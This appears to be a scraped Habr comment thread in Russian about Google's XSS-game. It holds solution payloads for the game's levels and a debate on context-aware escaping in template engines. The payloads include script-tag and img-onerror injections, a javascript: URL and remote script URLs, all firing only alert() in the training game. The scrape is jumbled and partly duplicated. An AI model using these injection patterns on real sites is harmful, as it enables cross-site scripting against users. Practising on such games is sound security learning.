Хабр Курсы для всех
РЕКЛАМА
Практикум, Хекслет, SkyPro, авторские курсы — собрали всех и попросили скидки. Осталось выбрать!
<script>window.parent.alert(1)</script>
https://xss-game.appspot.com/level6/frame#//fpaste.org/106147/15457301/raw/<script> и нужно обязательно использовать атрибуты вроде onerror?data:, а уже потом почитав подсказки понял, что всё намного проще.& # 3 9 ; и кавычка это одно и тоже. Всегда считал что ' обрабатывается как набор символов.href="site.com/path?var1=val1&{{params}}" я планирую передать в params имя одного параметра, или имя=значение одного параметра, или несколько уже заэкранированных пар имя=значение? А как он поймёт, что params нужно экранировать по правилам для url если это значение подставляется где-то внутри js а-ля var url="site.com/path?var1=val1&{{params}}" (подсказка — это он точно понять не сможет, т.к. это просто строка внутри js и понять что в ней именно url никакой алгоритм не осилит — разве что ваш шаблонизатор обзавёлся ИИ)?Во-первых, меня беспокоят проблемы производительности на разбор формата.
Во-вторых, когда кусок шаблона вынесен в отдельный файл и подключается в разных местах других шаблонов — его контекст заранее знать невозможно и более того он может оказаться разным — сложно сказать сходу, но как минимум это помешает этот кусок отдельно кешировать.
В-третьих, я просто не верю, что анализ формата и определение корректного алгоритма экранирования можно реализовать абсолютно без ошибок. Например, откуда ему знать в ситуации вроде href=«site.com/path?var1=val1&{{params}}» я планирую передать в params имя одного параметра, или имя=значение одного параметра, или несколько уже заэкранированных пар имя=значение? А как он поймёт, что params нужно экранировать по правилам для url если это значение подставляется где-то внутри js а-ля var url=«site.com/path?var1=val1&{{params}}» (подсказка — это он точно понять не сможет, т.к. это просто строка внутри js и понять что в ней именно url никакой алгоритм не осилит — разве что ваш шаблонизатор обзавёлся ИИ)?
Никаких проблем нет, обычный конечный автомат — точно такой же как для любого шаблонизатора.Действительно быстрые шаблонизаторы, которые лично я видел, и которые писал сам — были на регулярных выражениях.
К тому же, webkit ведь как-то справляется без ошибок правда?)Ну, сколько ошибок в современных браузерных движках проще всего увидеть в их баг-трекерах. Но в любом случае, уверяю, описание «без ошибок» и близко не отражает реальность. :)
не нужно разделять один тег и один атрибут по шаблонамЯ имел в виду что-то вроде вынесения в отдельный файл-шаблон, например, приветствия пользователя:
Welcome, {{user}}!. С тем, чтобы дальше включать этот шаблон и в шаблоны html-страничек, и в шаблоны email-ов, etc. Причём внутри странички этот шаблон может подключаться так, что его содержимое может вставляться внутрь js-строки, как содержимое тега h2, и как значение атрибута тега (напр. hidden input в форме для вывода приветствия на следующей странице после отправки формы) и как значение параметра url (аналогично назначению hidden input). (Не будем придираться, что передавать текст приветствия юзера параметром на следующую страницу это маразм — суть в том, что содержимое шаблона может оказаться в разных контекстах.)У нас экранирование идет после подстановки значений в конкретный атрибут или содержимое тега.Как это? Вы что, полноценно разбираете шаблон в синтаксическое дерево, потом экранируете и подставляете значения, а потом переводите дерево обратно в html? Тогда о производительности вообще говорить смысла нет.
Корректный разбор html, со всеми форматами которые могут оказаться внутри странички — это очень сложная задача.
Я имел в виду что-то вроде вынесения в отдельный файл-шаблон, например, приветствия пользователя: Welcome, {{user}}!.. С тем, чтобы дальше включать этот шаблон и в шаблоны html-страничек, и в шаблоны email-ов, etc. Причём внутри странички этот шаблон может подключаться так, что его содержимое может вставляться внутрь js-строки, как содержимое тега h2
Как это? Вы что, полноценно разбираете шаблон в синтаксическое дерево, потом экранируете и подставляете значения, а потом переводите дерево обратно в html? Тогда о производительности вообще говорить смысла нет.
Кроме того, Вы не ответили как шаблонизатор разберётся как правильно экранировать описанные мной случаи с параметрами url.
Действительно быстрые шаблонизаторы, которые лично я видел, и которые писал сам — были на регулярных выражениях.
<alert type="success">Текст</alert>
<div class="alert alert-success"></div>
script elements inserted using innerHTML do not execute when they are inserted.
<b onclick="alert('Done. You are the best');">Next level</b>
https://xss-game.appspot.com/level1/frame?query='+">+<script>alert('XSS!')</script>+"'{"posts":[{"message":"</table><img src='http://localhost/1.jpg' onerror='javascript:alert(123)'","date":1401689467145}]}https://xss-game.appspot.com/level3/frame#4.jpg' onerror='javascript:alert(123)' /><!--https://xss-game.appspot.com/level4/frame?timer=')/ alert('123https://xss-game.appspot.com/level5/frame/signup?next=javascript:alert('123')https://xss-game.appspot.com/level6/frame#//dl.dropboxusercontent.com/s/br98ryrw9fq3c4p/check.jsТут нужно править Local Storage ключ postDB и смотреть на изменения HTML маркапа в браузерео_О
XSS-game от Google